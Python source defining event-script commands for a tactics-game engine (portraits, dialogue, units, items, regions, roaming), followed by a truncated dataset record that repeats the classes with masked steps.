Portrait will fade in, but will not pause execution of event script while doing so. """ keywords = ['Portrait', 'ScreenPosition'] optional_keywords = ['Slide', 'ExpressionList'] flags = ["mirror", "low_priority", "immediate", "no_block"] class MultiAddPortrait(EventCommand): nid = "multi_add_portrait" nickname = "uu" tag = Tags.PORTRAIT desc = \ """ Adds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input. """ keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] class RemovePortrait(EventCommand): nid = "remove_portrait" nickname = "r" tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ["immediate", "no_block"] class MultiRemovePortrait(EventCommand): nid = "multi_remove_portrait" nickname = "rr" tag = Tags.PORTRAIT keywords = ['Portrait', 'Portrait'] optional_keywords = ['Portrait', 'Portrait'] class MovePortrait(EventCommand): nid = "move_portrait" tag = Tags.PORTRAIT keywords = ['Portrait', 'ScreenPosition'] flags = ["immediate", "no_block"] class BopPortrait(EventCommand): nid = "bop_portrait" nickname = "bop" tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ["no_block"] class Expression(EventCommand): nid = "expression" nickname = "e" tag = Tags.PORTRAIT keywords = ['Portrait', 'ExpressionList'] class Speak(EventCommand): nid = "speak" nickname = "s" tag = Tags.DIALOGUE_TEXT keywords = ['Speaker', 'Text'] optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant'] flags = ['low_priority'] class Transition(EventCommand): nid = "transition" nickname = "t" tag = Tags.BG_FG optional_keywords = ['Direction', 'Speed', 'Color3'] class Background(EventCommand): # Also does remove background nid = "change_background" nickname = "b" tag = Tags.BG_FG optional_keywords = ['Panorama'] flags = ["keep_portraits"] class DispCursor(EventCommand): nid = "disp_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Bool"] class MoveCursor(EventCommand): nid = "move_cursor" nickname = "set_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class CenterCursor(EventCommand): nid = "center_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class FlickerCursor(EventCommand): nid = 'flicker_cursor' nickname = 'highlight' tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class GameVar(EventCommand): nid = 'game_var' tag = Tags.GAME_VARS keywords = ["Nid", "Condition"] class IncGameVar(EventCommand): nid = 'inc_game_var' tag = Tags.GAME_VARS keywords = ["Nid"] optional_keywords = ["Condition"] class LevelVar(EventCommand): nid = 'level_var' tag = Tags.LEVEL_VARS keywords = ["Nid", "Condition"] class IncLevelVar(EventCommand): nid = 'inc_level_var' tag = Tags.LEVEL_VARS keywords = ["Nid"] optional_keywords = ["Condition"] class WinGame(EventCommand): nid = 'win_game' tag = Tags.LEVEL_VARS class LoseGame(EventCommand): nid = 'lose_game' tag = Tags.LEVEL_VARS class ActivateTurnwheel(EventCommand): nid = 'activate_turnwheel' tag = Tags.MISCELLANEOUS # Whether to force the player to move the turnwheel back # defaults to true optional_keywords = ['Bool'] class BattleSave(EventCommand): nid = 'battle_save' tag = Tags.MISCELLANEOUS class ChangeTilemap(EventCommand): nid = 'change_tilemap' tag = Tags.TILEMAP keywords = ["Tilemap"] # How much to offset placed units by # Which tilemap to load the unit positions from optional_keywords = ["PositionOffset", "Tilemap"] flags = ["reload"] # Should place units in previously recorded positions class LoadUnit(EventCommand): nid = 'load_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["UniqueUnit"] optional_keywords = ["Team", "AI"] class MakeGeneric(EventCommand): nid = 'make_generic' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS # Nid, class, level, team, ai, faction, anim variant keywords = ["String", "Klass", "String", "Team"] optional_keywords = ["AI", "Faction", "String", "ItemList"] class CreateUnit(EventCommand): nid = 'create_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS # Unit template and new unit nid (can be '') keywords = ["Unit", "String"] # Unit level, position, entrytype, placement optional_keywords = ["String", "Position", "EntryType", "Placement"] class AddUnit(EventCommand): nid = 'add_unit' nickname = 'add' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["Position", "EntryType", "Placement"] class MoveUnit(EventCommand): nid = 'move_unit' nickname = 'move' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["Position", "MovementType", "Placement"] flags = ['no_block', 'no_follow'] class RemoveUnit(EventCommand): nid = 'remove_unit' nickname = 'remove' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["RemoveType"] class KillUnit(EventCommand): nid = 'kill_unit' nickname = 'kill' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] flags = ['immediate'] class RemoveAllUnits(EventCommand): nid = 'remove_all_units' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class RemoveAllEnemies(EventCommand): nid = 'remove_all_enemies' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class InteractUnit(EventCommand): nid = 'interact_unit' nickname = 'interact' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit", "Unit"] optional_keywords = ["CombatScript", "Ability"] class SetCurrentHP(EventCommand): nid = 'set_current_hp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit", "PositiveInteger"] class SetCurrentMana(EventCommand): nid = 'set_current_mana' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit", "PositiveInteger"] class Resurrect(EventCommand): nid = 'resurrect' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["GlobalUnit"] class Reset(EventCommand): nid = 'reset' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit"] class HasAttacked(EventCommand): nid = 'has_attacked' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit"] class HasTraded(EventCommand): nid = 'has_traded' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class AddGroup(EventCommand): nid = 'add_group' tag = Tags.UNIT_GROUPS keywords = ["Group"] optional_keywords = ["StartingGroup", "EntryType", "Placement"] flags = ["create"] class SpawnGroup(EventCommand): nid = 'spawn_group' tag = Tags.UNIT_GROUPS keywords = ["Group", "CardinalDirection", "StartingGroup"] optional_keywords = ["EntryType", "Placement"] flags = ["create", "no_block", 'no_follow'] class MoveGroup(EventCommand): nid = 'move_group' nickname = 'morph_group' tag = Tags.UNIT_GROUPS keywords = ["Group", "StartingGroup"] optional_keywords = ["MovementType", "Placement"] flags = ['no_block', 'no_follow'] class RemoveGroup(EventCommand): nid = 'remove_group' tag = Tags.UNIT_GROUPS keywords = ["Group"] optional_keywords = ["RemoveType"] class GiveItem(EventCommand): nid = 'give_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Item"] flags = ['no_banner', 'no_choice', 'droppable'] class RemoveItem(EventCommand): nid = 'remove_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Item"] flags = ['no_banner'] class GiveMoney(EventCommand): nid = 'give_money' tag = Tags.GAME_VARS keywords = ["Integer"] optional_keywords = ["Party"] flags = ['no_banner'] class GiveBexp(EventCommand): nid = 'give_bexp' tag = Tags.GAME_VARS keywords = ["Condition"] optional_keywords = ["Party", "String"] flags = ['no_banner'] class GiveExp(EventCommand): nid = 'give_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PositiveInteger"] class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PositiveInteger"] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "WeaponType", "Integer"] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Skill"] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Skill"] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "AI"] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Team"] class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PortraitNid"] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "StatList"] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "StatList"] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES # Second argument is level that is eval'd keywords = ["GlobalUnit", "String"] # Whether to actually change the unit's level flags = ["hidden"] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ["String"] # Whether to actually change the unit's level flags = ["hidden"] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit"] optional_keywords = ["Klass"] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit"] optional_keywords = ["Klass"] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Tag"] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Tag"] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ["Unit", "Unit"] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ["Unit", "Unit"] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ["Lore"] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ["Lore"] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ["Item"] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ["Item"] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ["Nid", "Position", "Size", "RegionType"] optional_keywords = ["String"] flags = ["only_once"] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ["Nid", "Condition"] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ["Nid"] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ["Layer"] optional_keywords = ["LayerTransition"] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ["Layer"] optional_keywords = ["LayerTransition"] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ["Weather"] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ["Weather"] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ["String"] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ["String"] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ["String"] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ["String"] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ["MapAnim", "Position"] flags = ["no_block"] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS # Puts units on formation tiles automatically class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ["Bool", "Music"] # Pick units class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ["Panorama"] optional_keywords = ["Music"] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ["Unit", "ItemList"] optional_keywords = ["ShopFlavor"] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ["Music", "String"] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ["String"] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ["String"] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ["String", "String"] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ["Portrait", "String", "String"] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = \ """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ["Unit"] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = ["Unit"] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ["Unit"] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ["Event"] optional_keywords = ["GlobalUnit", "GlobalUnit"] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = "Turn free roam mode on or off" keywords = ["Bool"] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ["Unit"] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = "Removes all units other than the roaming unit" keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = "Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position." keywords = ["Unit", "Integer"] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = "Moves the initiative of the specified unit." keywords = ["Unit", "Integer"] def get_commands(): return EventCommand.__subclasses__() def restore_command(dat): if len(dat) == 2: nid, values = dat display_values = None elif len(dat) == 3: nid, values, display_values = dat subclasses = EventCommand.__subclasses__() for command in subclasses: if command.nid == nid: copy = command(values, display_values) return copy print("Couldn't restore event command!") print(nid, values, display_values) return None def parse_text(text): if text.startswith('#'): return Comment([text]) arguments = text.split(';') command_nid = arguments[0] subclasses = EventCommand.__subclasses__() for command in subclasses: if command.nid == command_nid or command.nickname == command_nid: cmd_args = arguments[1:] true_cmd_args = [] command_info = command() for idx, arg in enumerate(cmd_args): if idx < len(command_info.keywords): cmd_keyword = command_info.keywords[idx] elif idx - len(command_info.keywords) < len(command_info.optional_keywords): cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)] else: cmd_keyword = "N/A" # if parentheses exists, then they contain the "true" arg, with everything outside parens essentially as comments if '(' in arg and ')' in arg and not cmd_keyword == 'Condition': true_arg = arg[arg.find("(")+1:arg.find(")")] true_cmd_args.append(true_arg) else: true_cmd_args.append(arg) copy = command(true_cmd_args, cmd_args) return copy return None def parse(command): values = command.values num_keywords = len(command.keywords) true_values = values[:num_keywords] flags = {v for v in values[num_keywords:] if v in command.flags} optional_keywords = [v for v in values[num_keywords:] if v not in flags] true_values += optional_keywords return true_values, flags
normal
{ "blob_id": "c2dba981b0d628aebdf8cebfb890aad74a629b08", "index": 7365, "step-1": "<mask token>\n\n\nclass GiveExp(EventCommand):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = 